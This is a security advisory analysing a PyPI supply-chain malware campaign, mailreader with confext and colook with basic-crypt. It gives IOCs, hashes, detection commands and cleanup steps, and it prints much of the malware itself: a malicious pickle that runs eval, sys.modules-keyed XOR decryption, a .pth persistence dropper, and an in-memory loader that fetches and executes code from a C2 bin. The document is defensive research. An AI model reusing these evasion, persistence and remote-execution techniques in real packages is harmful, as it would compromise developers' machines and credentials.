high

CVE

Not assigned

CWE

CWE-506, CWE-502, CWE-912

Affected Surface

  • PyPI `mailreader` 2.7.1 (10 November 2026) and 2.7.2 (1 December 2026), which ship the payload in `mailreader/default.config` and depend on `confext`
  • PyPI `confext` 0.7.2 (27 October 2026), whose `load_config()` unpickles the caller's `default.config`
  • PyPI `colook` 1.1.3 and `basic-crypt` 1.5.2, 1.5.3 and 1.5.4 (Linux x86_64, Windows x64 and, from 30 November, macOS arm64 native builds)
  • Earlier waves no longer on PyPI: `webreader` 2.3.8 with `pafer` 0.9.7 and 0.9.8, and `resion` 22.0.1 with `pafex` 2.3
  • Any Python interpreter on a machine where one of these packages was imported alongside `requests`: the dropped `.pth` file keeps running after `pip uninstall`

TL;DR

A PyPI operator has been shipping pairs of small, working utility packages since 25 September 2026. Each pair has a front package and a helper from a second account, and the helper always holds the code that triggers the payload. Island published an analysis on 2 December and named the newest trick DevGating. The final stage is XOR-encrypted, and the key is the name of a module from requests (requests.packages.urllib3.util.connection). The code finds that name by hashing every entry in sys.modules. If you import mailreader in a bare sandbox, nothing happens. If you import it in a notebook, web service or test run that has already loaded requests, it decrypts, drops a .pth file into the user site-packages directory, and from then on every Python start launches a loader that pulls code from a public JSON bin.

Four packages are still live on PyPI as of 2 December: mailreader (2.7.1 and 2.7.2), confext 0.7.2, colook 1.1.3 and basic-crypt (1.5.2 to 1.5.4). Two versions arrived after Island finished its write-up: mailreader 2.7.2 on 1 December and a macOS arm64 build of basic-crypt (1.5.4) on 30 November. Download counts are low, in the hundreds per package, and Island says the bin currently serves a placeholder. In October, though, the same channel served a remote-access trojan, and the operator can switch every infected machine to new code by editing one JSON document.

What to do now:

  • Search lockfiles, images and developer machines for mailreader, confext, colook and basic-crypt.
  • Removing the package is not enough. Look for py_abi2-log.pth and py_log2/ in user site-packages, and for a _distutils_hack/__base__.py file, which real setuptools never ships.
  • Treat any machine with those files as compromised, and rotate the credentials its Python processes could read.

Affected packages and projects

EcosystemPackageAffected versionsFixed or safe version
PyPImailreader2.7.1, 2.7.2None. Remove it; no clean release exists
PyPIconfext0.7.2None. Remove it
PyPIcolook1.1.3None. Remove it
PyPIbasic-crypt1.5.2, 1.5.3, 1.5.4None. Remove it
PyPIwebreader2.3.8No longer on PyPI
PyPIpafer0.9.7, 0.9.8Removed from PyPI on 16 October 2026 (per Island)
PyPIresion22.0.1No longer on PyPI
PyPIpafex2.3No longer on PyPI

Island counted the downloads with pypistats, excluding mirrors, as of 16 November: mailreader 137, confext 198, colook 174 and basic-crypt 406 (both over 30 days), webreader 332, pafer 386, resion 106 and pafex 117. Each package came from its own account (nigarash, kinishuki, gotadijo, simendi, morichan, werson, hositel and redomaitic), and each account published only that one project.

Technical analysis

We downloaded the mailreader, confext, colook and basic-crypt wheels from PyPI into a scratch directory and checked their SHA-256 digests against the registry. We then read them without installing or importing anything. The pickle was disassembled with pickletools, which parses opcodes without running them, and the encrypted stage was decrypted offline and read as text. Everything quoted below comes from those files. Island ran the Linux path in a sandbox on 16 November; we did not run any of it.

Two packages, one trigger

mailreader has one dependency, confext, and calls into it at import time. mailreader/engine.py ends its module body like this:

def _ensure() -> None:
    global config, _engine, _load_error
    if _engine is not None:
        return
    try:
        loaded = load_config()          # confext.config.load_config
    except (ConfigLoadError, _ConfextConfigLoadError) as exc:
        _load_error = exc
        loaded = None
    config = loaded.to_dict() if loaded is not None else {}
    _engine = MailReaderEngine(config)

_ensure()                               # runs on `import mailreader`

Loading a config at import time is normal, which is the point. confext.config.load_config() takes no path, so it inspects the caller’s frame (sys._getframe(1).f_globals) to find a default.config sitting next to the calling module. It then reads that file in _read_config():

    blob = _verify_header(data, path)            # 8-byte SHA-256 prefix + 4-byte length
    detected = _detect_compression(blob)         # xz magic, or a valid zlib CMF/FLG pair
    if detected is not None:
        name, module = detected
        blob = module.decompress(blob)
    try:
        loaded = pickle.loads(blob)              # confext/config.py line 152: code runs here
    except Exception as exc:
        raise ConfigLoadError(...)
    if not isinstance(loaded, dict):             # type check happens after the code ran
        raise ConfigLoadError(...)
    return _sanitize_value(loaded)               # "only plain data types are allowed"

The checksum header and _sanitize_value() make confext look careful about untrusted config. Neither one matters, because pickle.loads has already executed whatever the file contains. Taken alone, confext is a config parser that unpickles a file supplied by its caller. Taken alone, mailreader is a mail library that loads its config. You only see the attack when you look at both.

The pickle in default.config

mailreader/default.config in 2.7.1 is 5,715 bytes: an 8-byte checksum, a 4-byte length (5,703) and a zlib stream that inflates to a 12,051-byte pickle. pickletools lists 16 opcodes. The ones that matter:

   11: SHORT_BINUNICODE 'builtins'
   22: SHORT_BINUNICODE 'eval'
   29: STACK_GLOBAL                    # push builtins.eval
   31: BINUNICODE "eval(__import__('base64').b64decode('W2V4ZWMo...'))"
12046: TUPLE1
12048: REDUCE                          # eval(<string>) during pickle.loads
12050: STOP

Under one more layer of base64, the string is a list expression whose last element is a real configuration dictionary:

[exec(__import__('base64').b64decode('dHJ5Ogog...')) or None,
 {'parse_tables': True, 'strip_whitespace': True, 'encoding': 'utf-8',
  'max_depth': 100, 'default_tag': 'div', ..., 'max_file_size_mb': 10, 'cache_size': 50}][-1]

The exec runs the next stage. [-1] then hands mailreader the dictionary it expects, so the type check passes and the library keeps working.

DevGating: the key lives in sys.modules

The stage that exec runs is short. It holds a 2,774-byte ciphertext z and the code to unlock it:

try:
    z=b'\xf5\x00\x1cK\x7fl\x1a\x19...'          # 2,774 bytes
    import sys,hashlib
    def xor(data,key):
        k = bytes([(key[0]+sum(key)//2)%256])+key
        return bytes(b ^ k[i % len(k)] for i, b in enumerate(data))
    y=[]
    for n in sys.modules.keys():
        if hashlib.md5((n * 2).encode()).hexdigest()=='6a3221b95503aa1ac28f3469f9073016':
            y.append(n)
    if y != []:
        exec(xor(z,y[0].encode()))
except: pass
  • The loop hashes each loaded module name written twice and compares it to one MD5. We confirmed the match: md5("requests.packages.urllib3.util.connection" * 2) is 6a3221b95503aa1ac28f3469f9073016. That submodule only appears in sys.modules after requests has been imported.
  • The XOR key is that module name with one extra byte in front, derived from the name itself, so the package never contains the key.
  • Every failure path ends in except: pass. In a process without requests, the import succeeds and nothing else happens.

That is why a sandbox that does pip install mailreader && python -c "import mailreader" reports a clean run. The decrypted stage is identical in 2.7.1 and 2.7.2 apart from one byte, covered below.

Persistence that outlives pip uninstall

With the key applied, the ciphertext becomes a dropper:

try:
	import os,sys,site
	p=os.path.dirname(os.__file__)+"/site-packages" if os.name=="nt" else site.getusersitepackages()
	b=p+"/py_log2"
	os.makedirs(b, exist_ok=True)
	open(b+"/__cached__.py","w").write(__import__("base64").b64decode("aW1wb3J0IG9z...").decode())
	open(b+"/__init__.py","w").write(__import__("base64").b64decode("aW1wb3J0IG9z...").decode())
	open(p+"/py_abi2-log.pth","w").write("import py_log2")
except: pass
  • On Linux and macOS it writes to the user site directory (~/.local/lib/pythonX.Y/site-packages on Linux). On Windows it writes to the interpreter’s own Lib\site-packages.
  • py_abi2-log.pth holds one line, import py_log2. Python’s site module executes import lines in .pth files at startup, so py_log2 runs in every later Python process that processes that directory.
  • None of the three files belongs to an installed distribution. pip uninstall mailreader confext leaves them all in place.
  • Python skips the user site directory inside a virtual environment created without --system-site-packages. A developer who only imported mailreader inside a venv can still end up with the .pth in ~/.local, where it fires from their system python3, notebooks and tools instead.

py_log2/__init__.py makes sure only one copy runs and starts the real loader detached:

a=f'{os.getenv("TEMP") if w else "/tmp"}/pylog.txt'     # lock file
fd=os.open(a,os.O_CREAT|os.O_RDWR,0o600)
...
	import fcntl
	fcntl.flock(fd,fcntl.LOCK_EX|fcntl.LOCK_NB)        # second instance fails here
	l.Popen([s,__file__.replace("init","cached")],stdin=fd,env=env,**c)   # stdout/stderr to DEVNULL

On Windows it relaunches the interpreter with an X environment variable set and CREATE_NO_WINDOW (0x08000000), locks the file with msvcrt.locking, and imports __cached__ in the hidden process.

The loader: fetch, then run from memory

py_log2/__cached__.py installs requests if it is missing, then builds a two-line fetcher (the URL is defanged here):

x=b'''exec(__import__("base64").b64decode(__import__("requests").get("hxxps://api.npoint[.]io/df37d3253fff53e2034f/login").text).decode())
__import__("os")._exit(0)'''

if os.name=="nt":
	exec(x)                                              # Windows: run in the hidden python.exe
else:
	if m:                                                # macOS
		p=Path.home()/"pip3-update.py"
		p.write_bytes(x)
		if os.fork()==0:
			os.execve(s,[s,str(p),"--upgrade"],env)      # looks like a pip upgrade
		time.sleep(3)
		p.write_bytes(b"import sys, subprocess\nsubprocess.run([sys.executable, '-m', 'pip', 'install', '--upgrade', 'pip', '--user'])")
	else:                                                # Linux
		e,a=[f"/proc/self/fd/{os.memfd_create(''.join(random.choices('abfgh',k=7)),0)}" for _ in range(2)]
		open(e,"wb").write(open(s,"rb").read());open(a,"wb").write(x)
		if os.fork()!=0:                                 # 2.7.2 changes this to os.fork()==0
			os.execve(e,[e,a],env)
  • The bin at api.npoint[.]io returns base64 that the fetcher decodes and executes. Island found a placeholder there that writes hello to /tmp/file.txt every five seconds. Whatever the operator puts in the bin next will run on every machine that has the .pth, the next time Python starts.
  • On Linux, memfd_create makes two anonymous in-memory files named with seven random letters from abfgh. One gets a byte-for-byte copy of the running python3 and the other gets the fetcher, and the process is replaced by the in-memory interpreter. Nothing new lands on disk, and the executable hashes as a stock python3.
  • On macOS the fetcher is written to ~/pip3-update.py, started with a --upgrade argument, and overwritten three seconds later with a real pip-upgrade one-liner.
  • The only change in mailreader 2.7.2 apart from a new save_attachments() helper and a new checksum is that fork() test. 2.7.1 replaces the parent process; 2.7.2 does the execve in the child. Island calls this a minor change to the Linux launcher.

colook and basic-crypt: the same chain in a native module

colook 1.1.3 is a terminal color library whose secure_print() imports basic_crypt. basic_crypt/xor.py loads a compiled _native extension and falls back to pure Python if it is missing. The shipped C source contains only XOR and CRC32, but Island’s reversing of the binary found a dropper that runs on import:

  • It looks in sys.modules for requests.packages.urllib3.util.request, a sibling of the module mailreader keys on.
  • It writes its own _distutils_hack/__init__.py, a new _distutils_hack/__base__.py, and distutils-precedence.pth. Those are the names real setuptools uses, so they blend into almost every Python install.
  • Its memory loader executes Python returned by a Supabase edge function at tzqrmubxuluyccmiialf[.]supabase[.]co.

The Linux _native.so from 1.5.3 matches the hash Island published (c7b794f1…a69258b). The macOS arm64 _native.so in 1.5.4, uploaded on 30 November, is new (f77c1993…77118174). Like the Linux build, its strings include the _distutils_hack/ path, getusersitepackages and calls to PyImport_GetModuleDict, the C API handle on sys.modules. We did not reverse the macOS binary. 1.5.2 and 1.5.3 shipped only Linux and Windows wheels plus an sdist whose C source Island describes as a clean decoy, so 1.5.4 is the first prebuilt native module for Apple Silicon. colook requires basic-crypt without a version pin, so pip picks that wheel today on an Apple Silicon Mac running macOS 14 or later.

How the waves line up

WaveFrontHelperFirst publishedWhat changed
1webreader 2.3.8pafer 0.9.7, 0.9.825 September (pafer), 8 October (webreader)Pickle in the front package, .pth persistence, RAT payload
2resion 22.0.1pafex 2.320 OctoberNew names and bin, same split; payload was a stub when analyzed
2bcolook 1.1.3basic-crypt 1.5.2 to 1.5.421 OctoberDevGating, setuptools look-alike persistence, memory execution, all in native code
3mailreader 2.7.1, 2.7.2confext 0.7.227 October (confext), 10 November (mailreader)DevGating moved back into Python, inside a pickle in a config file

Kamil Mańkowski’s catalog flagged waves 1 and 2 as campaign 2026-10-webreader on 10 and 20 October. It describes them as an embedded pickle disguised as a config, a dependency that loads it, .pth persistence and a RAT. That description matches what we read in the wave 3 files. Island ties the colook pair to the campaign through the same keying, the same memory loader and the same Spanish variable names, and found the operator’s build path, C:\Users\Samsung\Desktop\UIPackage, in the colook sdist. In October the first bin served a RAT that sent data to frjmzbjbhwvtdnsuodmu[.]supabase[.]co; the operator later swapped it for a stub.

IOCs

TypeIndicatorContext
PyPI packagemailreader 2.7.1, 2.7.2Front package, live on 2 December 2026
PyPI packageconfext 0.7.2Pickle loader, live on 2 December 2026
PyPI packagecolook 1.1.3Front for the native build, live on 2 December 2026
PyPI packagebasic-crypt 1.5.2, 1.5.3, 1.5.4Native dropper, live on 2 December 2026
PyPI packagewebreader 2.3.8, pafer 0.9.7 / 0.9.8, resion 22.0.1, pafex 2.3Earlier waves, removed
PyPI accountsnigarash, kinishuki, gotadijo, simendi, morichan, werson, hositel, redomaiticOne project each
URLhxxps://api.npoint[.]io/df37d3253fff53e2034f/loginmailreader C2 bin
URLhxxps://tzqrmubxuluyccmiialf[.]supabase[.]co/functions/v1/registercolook / basic-crypt C2
URLhxxps://frjmzbjbhwvtdnsuodmu[.]supabase[.]co/functions/v1/saveWave 1 RAT data endpoint
Filepy_abi2-log.pth, py_log2/__init__.py, py_log2/__cached__.pymailreader persistence in site-packages
File_distutils_hack/__base__.pybasic-crypt loader; not part of setuptools
File/tmp/pylog.txt, %TEMP%\pylog.txtSingle-instance lock
File~/pip3-update.pymacOS stager
File/tmp/file.txtWritten by the current placeholder payload
MD56a3221b95503aa1ac28f3469f9073016Selects the XOR key from sys.modules
SHA-256824b3df224c9052ae9c01f4dc6807014eecb37855fc888b16c9098887f962fb0mailreader-2.7.1-py3-none-any.whl
SHA-2566ea38ee8637d3912f381b7a53b7f95eac952bba23a2228f32f4f6e6d582b7391mailreader-2.7.2-py3-none-any.whl
SHA-256d42001978f2aa2b528b91508771582c53638ede6ef1571efbe4d9a775275a2f3mailreader-2.7.1.tar.gz
SHA-256ec5a5c36c9b59c3a8774c72e4d64eb9cf2da4f7cdcd81453b1d6954ba3504808mailreader-2.7.2.tar.gz
SHA-2568b39970f7fc5c58646980092f0114753280ca5ed7df00f3e8d0774f430281631confext-0.7.2-py3-none-any.whl
SHA-2568d6356f24ecb66b1ee166fec2351f1787e13d10aab90456d52a7010b17406159confext-0.7.2.tar.gz
SHA-2568960d524263c8ef189fc8070bb684d6673de5d2e07fda19ec054af82f4eeeb1ecolook-1.1.3-py3-none-any.whl
SHA-2568dc7261e57873c03aaaf17c6cd9301ff3b5c00d42b02827241b9bd9a3875c756colook-1.1.3.tar.gz
SHA-25611b4d0b03dba22faddd32c7a4a3e9fd7322661ef1ecb4e1620ba55714f075822basic_crypt-1.5.2-py3-none-manylinux1_x86_64.whl
SHA-2565a529caaf5daa4be09251d66dea82960f7ce1da0d2368c90e47311461032fd92basic_crypt-1.5.2-py3-none-win_amd64.whl
SHA-256a27b99b6c79a087b5cdf89559f84fb53ca02fa25352ed3112e25e4257346f55dbasic_crypt-1.5.3-py3-none-manylinux1_x86_64.whl
SHA-2568dc0fb628fe30146413c46cdad56f9233f43236129d4ccc8ba03b1814300d29ebasic_crypt-1.5.3-py3-none-win_amd64.whl
SHA-256c6e4832096feccfcfc79da180dfcac972be05b53778c46cf10465057cf78c046basic_crypt-1.5.4-py3-none-macosx_14_0_arm64.whl
SHA-256c7b794f17288e30aeb665530f7f358887a2861889c53f24fa29b7b8e8a69258bbasic_crypt/_native.so in the 1.5.3 Linux wheel
SHA-256f77c1993e98530b414b8d6e2da05499fd209b42036b5d33586ce077977118174basic_crypt/_native.so in the 1.5.4 macOS arm64 wheel
SHA-256d3927b5df082941274e3774df444ed34e6326045ba18af9ec20127cb8d4932bfDropped _distutils_hack/__base__.py (per Island)

The bin contents can change at any time. The bin ID, the file names and the package hashes are the stable indicators.

Detection and remediation

Find the packages in dependency manifests, lockfiles and built images:

grep -rniE '(^|["/ ])(mailreader|confext|colook|basic[-_]crypt)([=<>~! ";]|$)' \
  --include='requirements*.txt' --include='pyproject.toml' --include='poetry.lock' \
  --include='uv.lock' --include='Pipfile.lock' --include='pdm.lock' .

pip show mailreader confext colook basic-crypt 2>/dev/null | grep -E '^(Name|Version|Location)'

docker run --rm --entrypoint sh <image> -c \
  'pip list 2>/dev/null | grep -iE "^(mailreader|confext|colook|basic-crypt) "'

Then look for the persistence files. Check every interpreter on the machine, not only the one in your project, because the dropper writes to the user site directory:

for py in $(which -a python3 python 2>/dev/null | sort -u); do
  "$py" -c 'import site,sys; print(sys.executable); print("\n".join(site.getsitepackages()+[site.getusersitepackages()]))'
done

find / \( -name 'py_abi2-log.pth' -o -path '*/py_log2/__cached__.py' \
          -o -path '*/_distutils_hack/__base__.py' \) 2>/dev/null

ls -la /tmp/pylog.txt /tmp/file.txt ~/pip3-update.py 2>/dev/null

A distutils-precedence.pth and a _distutils_hack/ directory are normal on most machines with setuptools. The giveaway is __base__.py in that directory, or extra lines at the end of _distutils_hack/__init__.py. Compare it with the copy in a clean pip download setuptools wheel of the same version.

On Linux, look for running processes whose executable is an anonymous memory file:

for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null)
  case "$exe" in /memfd:*) echo "$(basename "$p") $exe $(tr '\0' ' ' < "$p/cmdline")";; esac
done

On Windows, check %TEMP%\pylog.txt and the Lib\site-packages folder of each Python install for py_abi2-log.pth and py_log2\. In proxy, DNS and EDR logs, search for api.npoint.io with the bin path df37d3253fff53e2034f and for the two supabase.co subdomains above. Many teams use npoint and Supabase legitimately, so match on the full path or subdomain.

If you find any of it:

  1. Remove the four packages, then delete py_abi2-log.pth, py_log2/, _distutils_hack/__base__.py (and restore _distutils_hack/__init__.py from a clean setuptools), ~/pip3-update.py and the lock file. Kill any /memfd: Python processes first so the loader doesn’t come back.
  2. Rotate what Python on that machine could reach: cloud credentials (~/.aws, ~/.azure, ~/.config/gcloud), tokens in environment variables and .env files, ~/.pypirc, ~/.npmrc, git credentials and SSH keys, database URLs, and any CI or deploy tokens used from that host. The payload Island saw was a stub, but the October bin served a RAT, and the operator controls what runs next.
  3. Rebuild container images and CI caches that installed either pair. A cached wheel or a layer with the .pth in it will reinfect the next run.
  4. Block the packages in your proxy or registry mirror. They have no clean versions.

Timeline

  • 25 September 2026: pafer 0.9.7 published, the first helper package (Island).
  • 8 October 2026: webreader 2.3.8 published.
  • 10 October 2026: Kamil Mańkowski’s catalog lists webreader and pafer as malicious, campaign 2026-10-webreader.
  • 16 October 2026: pafer removed from PyPI (Island).
  • 20 October 2026: resion 22.0.1 and pafex 2.3 published and flagged the same day.
  • 21 October 2026: basic-crypt 1.5.2 (07:21 UTC) and 1.5.3 (07:44 UTC), then colook 1.1.3 (08:40 UTC), published.
  • 27 October 2026: confext 0.7.2 published (04:35 UTC).
  • 10 November 2026: mailreader 2.7.1 published (04:48 UTC).
  • 16 November 2026: Island detonates mailreader 2.7.1 on Linux with requests loaded and sees every stage run.
  • 30 November 2026: basic-crypt 1.5.4 published with a macOS arm64 wheel only (10:57 UTC).
  • 1 December 2026: mailreader 2.7.2 published (08:26 UTC) with the same payload and the flipped fork() test.
  • 2 December 2026: Island publishes its research. mailreader, confext, colook and basic-crypt are still listed on PyPI, and the GitHub Advisory Database has no malware advisory for them yet.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References